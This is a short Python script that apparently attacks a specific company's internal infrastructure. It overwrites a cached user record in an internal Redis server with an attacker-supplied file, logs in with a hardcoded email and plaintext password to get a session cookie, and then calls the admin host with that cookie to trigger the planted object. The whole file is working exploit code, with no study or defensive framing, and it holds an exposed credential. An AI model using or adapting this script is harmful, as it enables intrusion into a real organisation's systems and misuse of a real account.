import http.client,ssl,urllib.parse,subprocess,sys,socket
ctx=ssl._create_unverified_context()
def redis_set(path,key,region='User',db=0):
    r=subprocess.run(["python3","/tmp/redis_setdb.py","10.0.0.25",str(db),region,key,path],capture_output=True,text=True)
    return r.stdout.strip()
def pub_l1():
    r=subprocess.run(["python3","/tmp/pub_l1.py"],capture_output=True,text=True)
    return r.stdout.strip()
def login():
    body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
    c=http.client.HTTPConnection("10.0.0.13",8081,timeout=8)
    c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
    r=c.getresponse(); d=r.read(100); hd=r.getheaders(); c.close()
    osc=None
    for k,v in hd:
        if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
    return r.status,osc,d[:80]
print("RESTORE",redis_set('/tmp/user_backup.bin','I:4042116'),flush=True)
print("PUB1",pub_l1(),flush=True)
st,osc,body=login(); print("LOGIN",st,"OSC",bool(osc),body,flush=True)
if not osc: sys.exit(1)
print("SET",redis_set(sys.argv[1],'I:4042116'),flush=True)
print("PUB2",pub_l1(),flush=True)
try:
    c=http.client.HTTPSConnection("10.0.0.54",443,timeout=5,context=ctx)
    c.request("GET","/",headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc})
    r=c.getresponse(); d=r.read(100); print("TRIG",r.status,d[:60],flush=True); c.close()
except Exception as e: print("TRIG_EXC",type(e).__name__,flush=True)
